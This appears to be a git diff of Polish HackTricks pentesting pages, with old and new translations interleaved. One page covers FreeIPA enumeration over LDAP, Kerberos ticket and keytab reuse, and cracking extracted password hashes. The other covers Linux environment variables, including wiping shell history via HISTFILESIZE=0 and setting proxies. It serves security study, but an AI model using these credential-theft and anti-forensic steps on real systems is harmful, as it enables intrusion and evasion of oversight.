* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
FreeIPA to otwarte źródło **alternatywa** dla Microsoft Windows **Active Directory**, głównie dla środowisk **Unix**. Łączy kompletny **katalog LDAP** z Centrum Dystrybucji Kluczy MIT **Kerberos** do zarządzania podobnie jak Active Directory. Wykorzystując System Certyfikatów Dogtag do zarządzania certyfikatami CA & RA, obsługuje **uwierzytelnianie wieloskładnikowe**, w tym karty inteligentne. SSSD jest zintegrowany do procesów uwierzytelniania Unix.
|
||||
FreeIPA to otwarte źródło **alternatywa** dla Microsoft Windows **Active Directory**, głównie dla środowisk **Unix**. Łączy kompletny **katalog LDAP** z MIT **Kerberos** Key Distribution Center do zarządzania podobnego do Active Directory. Wykorzystując system **Dogtag Certificate System** do zarządzania certyfikatami CA i RA, wspiera **uwierzytelnianie wieloskładnikowe**, w tym karty inteligentne. SSSD jest zintegrowany z procesami uwierzytelniania Unix.
|
||||
|
||||
## Odciski palców
|
||||
## Odciski
|
||||
|
||||
### Pliki i zmienne środowiskowe
|
||||
|
||||
* Plik `/etc/krb5.conf` przechowuje informacje klienta Kerberos, niezbędne do zapisania w domenie. Zawiera lokalizacje KDC i serwerów admina, domyślne ustawienia i mapowania.
|
||||
* Plik w `/etc/krb5.conf` to miejsce, gdzie przechowywane są informacje klienta Kerberos, niezbędne do rejestracji w domenie. Obejmuje to lokalizacje KDC i serwerów administracyjnych, ustawienia domyślne i mapowania.
|
||||
* Domyślne ustawienia dla klientów i serwerów IPA są ustawione w pliku znajdującym się w `/etc/ipa/default.conf`.
|
||||
* Hosty w domenie muszą mieć plik `krb5.keytab` w lokalizacji `/etc/krb5.keytab` do procesów uwierzytelniania.
|
||||
* Różne zmienne środowiskowe (`KRB5CCNAME`, `KRB5_KTNAME`, `KRB5_CONFIG`, `KRB5_KDC_PROFILE`, `KRB5RCACHETYPE`, `KRB5RCACHEDIR`, `KRB5_TRACE`, `KRB5_CLIENT_KTNAME`, `KPROP_PORT`) są używane do wskazywania konkretnych plików i ustawień związanych z uwierzytelnianiem Kerberos.
|
||||
* Hosty w domenie muszą mieć plik `krb5.keytab` w `/etc/krb5.keytab` do procesów uwierzytelniania.
|
||||
* Różne zmienne środowiskowe (`KRB5CCNAME`, `KRB5_KTNAME`, `KRB5_CONFIG`, `KRB5_KDC_PROFILE`, `KRB5RCACHETYPE`, `KRB5RCACHEDIR`, `KRB5_TRACE`, `KRB5_CLIENT_KTNAME`, `KPROP_PORT`) są używane do wskazywania na konkretne pliki i ustawienia związane z uwierzytelnianiem Kerberos.
|
||||
|
||||
### Binaria
|
||||
### Binaries
|
||||
|
||||
Narzędzia takie jak `ipa`, `kdestroy`, `kinit`, `klist`, `kpasswd`, `ksu`, `kswitch` i `kvno` są kluczowe do zarządzania domenami FreeIPA, obsługi biletów Kerberos, zmiany haseł i uzyskiwania biletów usługowych, między innymi funkcjonalności.
|
||||
Narzędzia takie jak `ipa`, `kdestroy`, `kinit`, `klist`, `kpasswd`, `ksu`, `kswitch` i `kvno` są kluczowe do zarządzania domenami FreeIPA, obsługi biletów Kerberos, zmiany haseł i uzyskiwania biletów serwisowych, wśród innych funkcji.
|
||||
|
||||
### Sieć
|
||||
|
||||
Przedstawiono ilustrację typowego zestawienia serwera FreeIPA.
|
||||
Przedstawiono ilustrację, aby zobrazować typową konfigurację serwera FreeIPA.
|
||||
|
||||
## Uwierzytelnianie
|
||||
|
||||
Uwierzytelnianie w FreeIPA, wykorzystujące **Kerberos**, odzwierciedla to w **Active Directory**. Dostęp do zasobów domenowych wymaga ważnego biletu Kerberos, który może być przechowywany w różnych lokalizacjach w zależności od konfiguracji domeny FreeIPA.
|
||||
Uwierzytelnianie w FreeIPA, wykorzystujące **Kerberos**, odzwierciedla to w **Active Directory**. Dostęp do zasobów domeny wymaga ważnego biletu Kerberos, który może być przechowywany w różnych lokalizacjach w zależności od konfiguracji domeny FreeIPA.
|
||||
|
||||
### **Pliki biletów CCACHE**
|
||||
|
||||
Pliki CCACHE, przechowywane zazwyczaj w **`/tmp`** z uprawnieniami **600**, są formatami binarnymi do przechowywania poświadczeń Kerberos, ważnych dla uwierzytelniania bez hasła tekstowego użytkownika ze względu na ich przenośność. Parsowanie biletu CCACHE można wykonać za pomocą polecenia `klist`, a ponowne użycie ważnego biletu CCACHE polega na wyeksportowaniu `KRB5CCNAME` do ścieżki pliku biletu.
|
||||
Pliki CCACHE, zazwyczaj przechowywane w **`/tmp`** z uprawnieniami **600**, są formatami binarnymi do przechowywania poświadczeń Kerberos, ważnymi dla uwierzytelniania bez hasła w postaci tekstu jawnego użytkownika z powodu ich przenośności. Analizowanie biletu CCACHE można wykonać za pomocą polecenia `klist`, a ponowne użycie ważnego biletu CCACHE polega na wyeksportowaniu `KRB5CCNAME` do ścieżki pliku biletu.
|
||||
|
||||
### **Keyring Unix**
|
||||
### **Unix Keyring**
|
||||
|
||||
Alternatywnie, Bilety CCACHE można przechowywać w keyringu Linux, oferując większą kontrolę nad zarządzaniem biletami. Zakres przechowywania biletów jest zróżnicowany (`KEYRING:nazwa`, `KEYRING:proces:nazwa`, `KEYRING:wątek:nazwa`, `KEYRING:sesja:nazwa`, `KEYRING:trwały:uidnumber`), z `klist` zdolnym do parsowania tych informacji dla użytkownika. Jednak ponowne użycie biletu CCACHE z keyringu Unix może stanowić wyzwanie, a narzędzia takie jak **Tickey** są dostępne do wydobywania biletów Kerberos.
|
||||
Alternatywnie, bilety CCACHE mogą być przechowywane w kluczyku Linux, oferując większą kontrolę nad zarządzaniem biletami. Zakres przechowywania biletów różni się (`KEYRING:name`, `KEYRING:process:name`, `KEYRING:thread:name`, `KEYRING:session:name`, `KEYRING:persistent:uidnumber`), a `klist` jest w stanie analizować te informacje dla użytkownika. Jednak ponowne użycie biletu CCACHE z kluczyka Unix może stwarzać wyzwania, a narzędzia takie jak **Tickey** są dostępne do ekstrakcji biletów Kerberos.
|
||||
|
||||
### Keytab
|
||||
|
||||
Pliki Keytab, zawierające podmioty Kerberos i zaszyfrowane klucze, są kluczowe do uzyskiwania ważnych biletów granting tickets (TGT) bez konieczności znajomości hasła podmiotu. Parsowanie i ponowne użycie poświadczeń z plików Keytab można łatwo wykonać za pomocą narzędzi takich jak `klist` i skryptów, takich jak **KeytabParser**.
|
||||
Pliki keytab, zawierające zasady Kerberos i zaszyfrowane klucze, są kluczowe do uzyskania ważnych biletów przyznawania biletów (TGT) bez potrzeby znajomości hasła zasady. Analizowanie i ponowne użycie poświadczeń z plików keytab można łatwo wykonać za pomocą narzędzi takich jak `klist` i skryptów takich jak **KeytabParser**.
|
||||
|
||||
### Cheatsheet
|
||||
|
||||
Więcej informacji na temat korzystania z biletów w systemie Linux znajdziesz pod następującym linkiem:
|
||||
Możesz znaleźć więcej informacji na temat korzystania z biletów w systemie Linux w następującym linku:
|
||||
|
||||
{% content-ref url="privilege-escalation/linux-active-directory.md" %}
|
||||
[linux-active-directory.md](privilege-escalation/linux-active-directory.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Wyliczanie
|
||||
## Enumeracja
|
||||
|
||||
{% hint style="warning" %}
|
||||
Możesz przeprowadzić **wyliczanie** za pomocą **ldap** i innych **narzędzi binarnych**, lub **łącząc się z stroną internetową na porcie 443 serwera FreeIPA**.
|
||||
Możesz przeprowadzić **enumerację** za pomocą **ldap** i innych **narzędzi binarnych**, lub **łącząc się z stroną internetową na porcie 443 serwera FreeIPA**.
|
||||
{% endhint %}
|
||||
|
||||
### Hosty, Użytkownicy i Grupy <a href="#id-4b3b" id="id-4b3b"></a>
|
||||
|
||||
Możliwe jest tworzenie **hostów**, **użytkowników** i **grup**. Hosty i użytkownicy są sortowane do kontenerów zwanych „**Grupami Hostów**” i „**Grupami Użytkowników**” odpowiednio. Są one podobne do **Jednostek Organizacyjnych** (OU).
|
||||
Możliwe jest tworzenie **hostów**, **użytkowników** i **grup**. Hosty i użytkownicy są sortowani w kontenerach zwanych “**Grupami Hostów**” i “**Grupami Użytkowników**” odpowiednio. Są one podobne do **Jednostek Organizacyjnych** (OU).
|
||||
|
||||
Domyślnie w FreeIPA serwer LDAP pozwala na **anonimowe wiązania**, a duża ilość danych jest wyliczalna **nieuwierzytelniona**. Można wyliczyć wszystkie dostępne dane nieuwierzytelnione:
|
||||
Domyślnie w FreeIPA serwer LDAP pozwala na **anonimowe połączenia**, a duża część danych jest enumerowana **bez uwierzytelnienia**. To może enumerować wszystkie dane dostępne bez uwierzytelnienia:
|
||||
```
|
||||
ldapsearch -x
|
||||
```
|
||||
Aby uzyskać **więcej informacji**, musisz użyć **uwierzytelnionej** sesji (sprawdź sekcję Autoryzacja, aby dowiedzieć się, jak przygotować uwierzytelnioną sesję).
|
||||
Aby uzyskać **więcej informacji**, musisz użyć **uwierzytelnionej** sesji (sprawdź sekcję Uwierzytelnianie, aby dowiedzieć się, jak przygotować uwierzytelnioną sesję).
|
||||
```bash
|
||||
# Get all users of domain
|
||||
ldapsearch -Y gssapi -b "cn=users,cn=compat,dc=domain_name,dc=local"
|
||||
|
@ -87,7 +88,7 @@ ldapsearch -Y gssapi -b "cn=computers,cn=accounts,dc=domain_name,dc=local"
|
|||
# Get hosts groups
|
||||
ldapsearch -Y gssapi -b "cn=hostgroups,cn=accounts,dc=domain_name,dc=local"
|
||||
```
|
||||
Z maszyny dołączonej do domeny będziesz mógł użyć **zainstalowanych binariów** do wyliczenia domeny:
|
||||
Z maszyny dołączonej do domeny będziesz mógł użyć **zainstalowanych binarek** do enumeracji domeny:
|
||||
```bash
|
||||
ipa user-find
|
||||
ipa usergroup-find
|
||||
|
@ -105,30 +106,30 @@ ipa hostgroup-show <host group> --all
|
|||
Użytkownik **admin** w **FreeIPA** jest odpowiednikiem **administratorów domeny** z **AD**.
|
||||
{% endhint %}
|
||||
|
||||
### Skróty <a href="#id-482b" id="id-482b"></a>
|
||||
### Hashes <a href="#id-482b" id="id-482b"></a>
|
||||
|
||||
Użytkownik **root** z serwera **IPA** ma dostęp do skrótów hasła.
|
||||
Użytkownik **root** z serwera **IPA** ma dostęp do **hashy** haseł.
|
||||
|
||||
* Skrót hasła użytkownika przechowywany jest jako **base64** w atrybucie "**userPassword**". Ten skrót może być **SSHA512** (w starszych wersjach FreeIPA) lub **PBKDF2\_SHA256**.
|
||||
* **Nthash** hasła przechowywany jest jako **base64** w "ipaNTHash", jeśli system ma **integrację** z **AD**.
|
||||
* Hash hasła użytkownika jest przechowywany jako **base64** w atrybucie “**userPassword**”. Ten hash może być **SSHA512** (stare wersje FreeIPA) lub **PBKDF2\_SHA256**.
|
||||
* **Nthash** hasła jest przechowywany jako **base64** w “**ipaNTHash**”, jeśli system ma **integrację** z **AD**.
|
||||
|
||||
Aby złamać te skróty:
|
||||
Aby złamać te hashe:
|
||||
|
||||
• Jeśli FreeIPA jest zintegrowany z AD, **ipaNTHash** jest łatwy do złamania: Należy **odkodować** **base64** -> ponownie zakodować jako **ASCII** szesnastkowy -> John The Ripper lub **hashcat** mogą pomóc w szybkim złamaniu
|
||||
• Jeśli freeIPA jest zintegrowany z AD, **ipaNTHash** jest łatwy do złamania: Należy **dekodować** **base64** -> ponownie zakodować jako **ASCII** hex -> John The Ripper lub **hashcat** mogą pomóc w szybkim złamaniu
|
||||
|
||||
• Jeśli używana jest starsza wersja FreeIPA, a więc używane jest **SSHA512**: Należy odkodować **base64** -> znaleźć skrót SSHA512 -> John The Ripper lub **hashcat** mogą pomóc w złamaniu
|
||||
• Jeśli używana jest stara wersja FreeIPA, to używany jest **SSHA512**: Należy dekodować **base64** -> znaleźć hash SSHA512 -> John The Ripper lub **hashcat** mogą pomóc w złamaniu
|
||||
|
||||
• Jeśli używana jest nowa wersja FreeIPA, a więc używane jest **PBKDF2\_SHA256**: Należy odkodować **base64** -> znaleźć PBKDF2\_SHA256 -> jego **długość** wynosi 256 bajtów. John może pracować z 256 bitami (32 bajty) -> SHA-265 używane jako funkcja pseudolosowa, rozmiar bloku to 32 bajty -> można użyć tylko pierwszych 256 bitów naszego skrótu PBKDF2\_SHA256 -> John The Ripper lub hashcat mogą pomóc w złamaniu
|
||||
• Jeśli używana jest nowa wersja FreeIPA, to używany jest **PBKDF2\_SHA256**: Należy dekodować **base64** -> znaleźć PBKDF2\_SHA256 -> jego **długość** to 256 bajtów. John może pracować z 256 bitami (32 bajty) -> SHA-265 używane jako funkcja pseudolosowa, rozmiar bloku to 32 bajty -> można użyć tylko pierwszych 256 bitów naszego hasha PBKDF2\_SHA256 -> John The Ripper lub hashcat mogą pomóc w złamaniu
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (655).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Aby wydobyć skróty, musisz być **rootem na serwerze FreeIPA**, tam możesz użyć narzędzia **`dbscan`** do ich wydobycia:
|
||||
Aby wyodrębnić hashe, musisz być **rootem na serwerze FreeIPA**, tam możesz użyć narzędzia **`dbscan`**, aby je wyodrębnić:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (293).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Reguły HBAC <a href="#id-482b" id="id-482b"></a>
|
||||
### HBAC-Rules <a href="#id-482b" id="id-482b"></a>
|
||||
|
||||
To reguły przyznające określone uprawnienia użytkownikom lub hostom w zasobach (hosty, usługi, grupy usług...).
|
||||
Są to zasady, które przyznają określone uprawnienia użytkownikom lub hostom do zasobów (hosty, usługi, grupy usług...)
|
||||
```bash
|
||||
# Enumerate using ldap
|
||||
ldapsearch -Y gssapi -b "cn=hbac,dc=domain_name,dc=local"
|
||||
|
@ -137,9 +138,9 @@ ipa hbacrule-find
|
|||
# Show info of rule
|
||||
ipa hbacrule-show <hbacrule> --all
|
||||
```
|
||||
#### Reguły Sudo
|
||||
#### Sudo-Rules
|
||||
|
||||
FreeIPA umożliwia scentralizowaną kontrolę nad uprawnieniami **sudo** za pomocą reguł sudo. Te reguły pozwalają lub ograniczają wykonywanie poleceń za pomocą sudo na hostach w domenie. Atakujący mógłby potencjalnie zidentyfikować odpowiednie hosty, użytkowników i dozwolone polecenia, analizując te zbiory reguł.
|
||||
FreeIPA umożliwia centralne zarządzanie **uprawnieniami sudo** za pomocą reguł sudo. Reguły te pozwalają lub ograniczają wykonywanie poleceń z sudo na hostach w obrębie domeny. Atakujący może potencjalnie zidentyfikować odpowiednie hosty, użytkowników i dozwolone polecenia, analizując te zestawy reguł.
|
||||
```bash
|
||||
# Enumerate using ldap
|
||||
ldapsearch -Y gssapi -b "cn=sudorules,cn=sudo,dc=domain_name,dc=local"
|
||||
|
@ -150,15 +151,15 @@ ipa sudorule-show <sudorule> --all
|
|||
```
|
||||
### Kontrola dostępu oparta na rolach
|
||||
|
||||
Rola składa się z różnych uprawnień, z których każde obejmuje zbiór uprawnień. Te role mogą być przypisane do Użytkowników, Grup Użytkowników, Hostów, Grup Hostów oraz Usług. Na przykład, rozważ domyślną rolę "Administratora Użytkownika" w FreeIPA, aby zilustrować tę strukturę.
|
||||
**Rola** składa się z różnych **uprawnień**, z których każde obejmuje zbiór **zezwolenia**. Te role mogą być przypisane do Użytkowników, Grup Użytkowników, **Hostów**, Grup Hostów i Usług. Na przykład, rozważmy domyślną rolę „Administrator Użytkowników” w FreeIPA, aby zilustrować tę strukturę.
|
||||
|
||||
Rola `Administratora Użytkownika` ma następujące uprawnienia:
|
||||
Rola `Administrator Użytkowników` ma te uprawnienia:
|
||||
|
||||
- Administratorzy Użytkowników
|
||||
- Administratorzy Grup
|
||||
- Administratorzy Etapowi Użytkownicy
|
||||
* **Administratorzy Użytkowników**
|
||||
* **Administratorzy Grup**
|
||||
* **Administratorzy Użytkowników Etapowych**
|
||||
|
||||
Za pomocą poniższych poleceń można wyświetlić role, uprawnienia i pozwolenia.
|
||||
Za pomocą następujących poleceń można wyliczyć role, uprawnienia i zezwolenia:
|
||||
```bash
|
||||
# Using ldap
|
||||
ldapsearch -Y gssapi -b "cn=roles,cn=accounts,dc=westeros,dc=local"
|
||||
|
@ -172,42 +173,43 @@ ipa permission-show <permission> --all
|
|||
```
|
||||
### Przykład scenariusza ataku
|
||||
|
||||
W [https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e](https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e) znajdziesz prosty przykład, jak wykorzystać pewne uprawnienia do skompromitowania domeny.
|
||||
W [https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e](https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e) można znaleźć prosty przykład, jak nadużyć niektóre uprawnienia, aby skompromitować domenę.
|
||||
|
||||
### Linikatz/LinikatzV2
|
||||
|
||||
* [https://github.com/Orange-Cyberdefense/LinikatzV2](https://github.com/Orange-Cyberdefense/LinikatzV2)
|
||||
* [https://github.com/CiscoCXSecurity/linikatz](https://github.com/CiscoCXSecurity/linikatz)
|
||||
|
||||
## Eskalacja uprawnień
|
||||
## Privesc
|
||||
|
||||
### ~~Tworzenie użytkownika root~~
|
||||
### ~~tworzenie użytkownika root~~
|
||||
|
||||
{% hint style="warning" %}
|
||||
Jeśli możesz **utworzyć nowego użytkownika o nazwie `root`**, możesz się pod niego podszyć i będziesz mógł **SSH na dowolną maszynę jako root.**
|
||||
Jeśli możesz **utworzyć nowego użytkownika o nazwie `root`**, możesz się nim podszyć i będziesz mógł **SSH do dowolnej maszyny jako root.**
|
||||
|
||||
**TO ZOSTAŁO NAPRAWIONE.**
|
||||
**TO ZOSTAŁO POPRAWIONE.**
|
||||
{% endhint %}
|
||||
|
||||
Możesz sprawdzić szczegółowe wyjaśnienie w [https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b)
|
||||
|
||||
## Odnośniki
|
||||
## Odniesienia
|
||||
|
||||
* [https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b)
|
||||
* [https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a](https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a)
|
||||
* [https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1](https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1)
|
||||
* [https://www.youtube.com/watch?v=9dOu-7BTwPQ](https://www.youtube.com/watch?v=9dOu-7BTwPQ)
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Zmienne środowiskowe w systemie Linux
|
||||
# Zmienne środowiskowe Linuxa
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* **Dziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
|
@ -26,26 +27,26 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
Zmienne globalne **będą** dziedziczone przez **procesy potomne**.
|
||||
|
||||
Możesz utworzyć zmienną globalną dla bieżącej sesji, wykonując:
|
||||
Możesz utworzyć zmienną globalną dla swojej bieżącej sesji, wykonując:
|
||||
```bash
|
||||
export MYGLOBAL="hello world"
|
||||
echo $MYGLOBAL #Prints: hello world
|
||||
```
|
||||
Ta zmienna będzie dostępna w bieżących sesjach i procesach potomnych.
|
||||
Ta zmienna będzie dostępna w bieżących sesjach i ich procesach potomnych.
|
||||
|
||||
Możesz **usunąć** zmienną wykonując:
|
||||
Możesz **usunąć** zmienną, wykonując:
|
||||
```bash
|
||||
unset MYGLOBAL
|
||||
```
|
||||
## Zmienne lokalne
|
||||
|
||||
Zmienne **lokalne** mogą być **dostępne** tylko przez **bieżącą powłokę/skrypt**.
|
||||
**Zmienne lokalne** mogą być **dostępne** tylko przez **bieżącą powłokę/skrypt**.
|
||||
```bash
|
||||
LOCAL="my local"
|
||||
echo $LOCAL
|
||||
unset LOCAL
|
||||
```
|
||||
## Wyświetl bieżące zmienne
|
||||
## Lista bieżących zmiennych
|
||||
```bash
|
||||
set
|
||||
env
|
||||
|
@ -53,33 +54,33 @@ printenv
|
|||
cat /proc/$$/environ
|
||||
cat /proc/`python -c "import os; print(os.getppid())"`/environ
|
||||
```
|
||||
## Wspólne zmienne
|
||||
## Common variables
|
||||
|
||||
Z: [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/)
|
||||
From: [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/)
|
||||
|
||||
* **DISPLAY** – wyświetlacz używany przez **X**. Ta zmienna jest zazwyczaj ustawiona na **:0.0**, co oznacza pierwszy wyświetlacz na bieżącym komputerze.
|
||||
* **EDITOR** – preferowany edytor tekstu użytkownika.
|
||||
* **HISTFILESIZE** – maksymalna liczba linii zawartych w pliku historii.
|
||||
* **HISTSIZE** – Liczba linii dodanych do pliku historii po zakończeniu sesji użytkownika.
|
||||
* **HOME** – katalog domowy.
|
||||
* **HISTSIZE** – liczba linii dodawanych do pliku historii, gdy użytkownik kończy swoją sesję.
|
||||
* **HOME** – twój katalog domowy.
|
||||
* **HOSTNAME** – nazwa hosta komputera.
|
||||
* **LANG** – bieżący język.
|
||||
* **MAIL** – lokalizacja skrzynki odbiorczej użytkownika. Zazwyczaj **/var/spool/mail/USER**.
|
||||
* **MANPATH** – lista katalogów do wyszukiwania stron podręcznika.
|
||||
* **LANG** – twój bieżący język.
|
||||
* **MAIL** – lokalizacja spooling poczty użytkownika. Zazwyczaj **/var/spool/mail/USER**.
|
||||
* **MANPATH** – lista katalogów do przeszukiwania stron podręcznika.
|
||||
* **OSTYPE** – typ systemu operacyjnego.
|
||||
* **PS1** – domyślny znak zachęty w bashu.
|
||||
* **PATH** – przechowuje ścieżkę do wszystkich katalogów zawierających pliki binarne, które chcesz wykonać, podając tylko nazwę pliku, a nie ścieżkę względną lub bezwzględną.
|
||||
* **PS1** – domyślny prompt w bash.
|
||||
* **PATH** – przechowuje ścieżkę do wszystkich katalogów, które zawierają pliki binarne, które chcesz wykonać, podając tylko nazwę pliku, a nie względną lub absolutną ścieżkę.
|
||||
* **PWD** – bieżący katalog roboczy.
|
||||
* **SHELL** – ścieżka do bieżącego powłoki poleceń (na przykład **/bin/bash**).
|
||||
* **SHELL** – ścieżka do bieżącej powłoki poleceń (na przykład **/bin/bash**).
|
||||
* **TERM** – bieżący typ terminala (na przykład **xterm**).
|
||||
* **TZ** – strefa czasowa.
|
||||
* **USER** – bieżąca nazwa użytkownika.
|
||||
* **TZ** – twoja strefa czasowa.
|
||||
* **USER** – twoja bieżąca nazwa użytkownika.
|
||||
|
||||
## Interesujące zmienne do hakowania
|
||||
## Interesting variables for hacking
|
||||
|
||||
### **HISTFILESIZE**
|
||||
|
||||
Zmień **wartość tej zmiennej na 0**, więc gdy **zakończysz swoją sesję**, plik historii (\~/.bash\_history) **zostanie usunięty**.
|
||||
Zmień **wartość tej zmiennej na 0**, aby po **zakończeniu sesji** **plik historii** (\~/.bash\_history) **został usunięty**.
|
||||
```bash
|
||||
export HISTFILESIZE=0
|
||||
```
|
||||
|
@ -91,7 +92,7 @@ export HISTSIZE=0
|
|||
```
|
||||
### http\_proxy & https\_proxy
|
||||
|
||||
Procesy będą korzystać z zadeklarowanego tutaj **serwera proxy** do połączenia z internetem za pośrednictwem protokołów **http lub https**.
|
||||
Procesy będą używać **proxy** zadeklarowanego tutaj, aby połączyć się z internetem przez **http lub https**.
|
||||
```bash
|
||||
export http_proxy="http://10.10.10.10:8080"
|
||||
export https_proxy="http://10.10.10.10:8080"
|
||||
|
@ -105,7 +106,7 @@ export SSL_CERT_DIR=/path/to/ca-certificates
|
|||
```
|
||||
### PS1
|
||||
|
||||
Zmień wygląd swojego wiersza poleceń.
|
||||
Zmień wygląd swojego prompta.
|
||||
|
||||
[**To jest przykład**](https://gist.github.com/carlospolop/43f7cd50f3deea972439af3222b68808)
|
||||
|
||||
|
@ -117,11 +118,11 @@ Zwykły użytkownik:
|
|||
|
||||
![](<../.gitbook/assets/image (740).png>)
|
||||
|
||||
Jeden, dwa i trzy procesy w tle:
|
||||
Jedna, dwie i trzy zadania w tle:
|
||||
|
||||
![](<../.gitbook/assets/image (145).png>)
|
||||
|
||||
Jeden proces w tle, jeden zatrzymany i ostatnie polecenie nie zakończyło się poprawnie:
|
||||
Jedno zadanie w tle, jedno zatrzymane, a ostatnia komenda nie zakończyła się poprawnie:
|
||||
|
||||
![](<../.gitbook/assets/image (715).png>)
|
||||
|
||||
|
@ -131,16 +132,17 @@ Jeden proces w tle, jeden zatrzymany i ostatnie polecenie nie zakończyło się
|
|||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
